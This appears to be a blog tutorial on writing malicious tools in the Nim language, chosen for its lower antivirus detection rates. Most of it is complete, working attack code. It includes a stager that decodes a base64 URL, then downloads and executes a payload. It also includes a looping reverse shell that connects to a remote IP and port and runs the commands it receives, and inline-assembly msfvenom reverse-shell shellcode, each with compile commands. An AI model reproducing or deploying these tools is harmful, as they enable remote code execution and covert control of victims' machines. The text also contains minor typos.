Malicious Nim Code

Nim is a statically compiled programming language. The language itself is pretty similar scripting languages such as Python.

The Nim compiler translates Nim source code to C before compilation, and supports cross compilation between Operating Systems.

By virtue of it being relativly obscure, Anti-Virus detection rates can be lower compared to other languages, such as C#. As such, it’s been adopted by threat actors.

To install Nim on a Mac with homebrew;

brew install nim --verbose

To install on a Kali Linux host;

sudo app install nim

For cross compilation (creating Windows executable on Linux/MacOS), ensure the MinGW compiler is installed;

brew install mingw-w64
sudo apt install mingw-w64

Then just specify MinGW should be used when compiling.

nim c -d:mingw example.nim

Writing a Stager

The purpose of this application is to download and execute further code. The code should be relativly self explanitory if you are used to Python.

  • The let statement defines a single assignment variable. (Lines 9,10)
  • The discard statement does nothing, but needed as the execCmd function must return a value. (Line 16)
import std/httpclient      
import std/base64          
import std/osproc

let encodedurl = "aHR0cHM6Ly93d3cuYm9yZGVyZ2F0ZS5jby51aw=="
let decodedurl = decode(encodedurl)

var client = newHttpClient()
echo "Downloading Content..."
writeFile("payload", client.getContent(decodedurl))

discard execCmd("chmod +x ./payload && ./payload")

Compile the application using;

nim c -d:ssl -o:Stager -r Stager.nim

Writing a Reverse Shell

In this example, we’re using creating a socket to a remote host, executing commands provided and returning a response.

Note, that space characters are used as markup in Nim, but tab characters are not allowed!

import std/osproc
import std/times
import net
import os
import streams

let ip = "192.168.1.236"
let port = 4444

while true:
    try:
        echo now(), " Attempting to connect to ", ip, " on port ", port
        var socket = newSocket()
        socket.connect(ip, Port(port))
        echo now(), " Connected!"
        while true:
            try:
                socket.send(">")
                var command = socket.recvLine()
                var result = execProcess(command)
                socket.send(result)
            except:
                echo now(), " Error sending response: ", getCurrentExceptionMsg()
                break
    except:
        echo now(), " Unable to connect to ", ip, " on port ", port, " ", getCurrentExceptionMsg()
        sleep(2000)

Compile with;

nim c -o:RevShell -r ReverseShell.nim

Win32 Access

The WinIm library can be used to interface with the Win32 API.

import winim/com

MessageBox(0, "Test", "Nim is awesome!", 0)

Executing Shellcode

Since Nim is compiling our code to C, we can use inline assembly to execute shellcode, without using any further API’s (such as VirtualAlloc on Windows).

    # msfvenom -p linux/aarch64/shell_reverse_tcp EXITFUNC=thread LHOST=127.0.0.1 LPORT=4444 -f csharp
proc shellcode(): void =
    asm """
        .byte 0x40,0x00,0x80,0xd2,0x21,0x00,0x80,0xd2,0x02,0x00,0x80,0xd2,0xc8,0x18,0x80,0xd2,0x01,0x00,0x00,0xd4,0xe3,0x03,0x00,0xaa,0x41,0x03,0x00,0x10,0x02,0x02,0x80,0xd2,0x68,0x19,0x80,0xd2,0x01,0x00,0x00,0xd4,0x60,0x02,0x00,0x35,0xe0,0x03,0x03,0xaa,0x02,0x00,0x80,0xd2,0x01,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x21,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x41,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x80,0x01,0x00,0x10,0x02,0x00,0x80,0xd2,0xe0,0x03,0x00,0xf9,0xe2,0x07,0x00,0xf9,0xe1,0x03,0x00,0x91,0xa8,0x1b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x00,0x00,0x80,0xd2,0xa8,0x0b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x02,0x00,0x11,0x5c,0x7f,0x00,0x00,0x01,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
        ret
    """

shellcode()

In Conclusion

These examples are fairly basic, but hopefully give you an idea of how easy it is to create simple tools using Nim.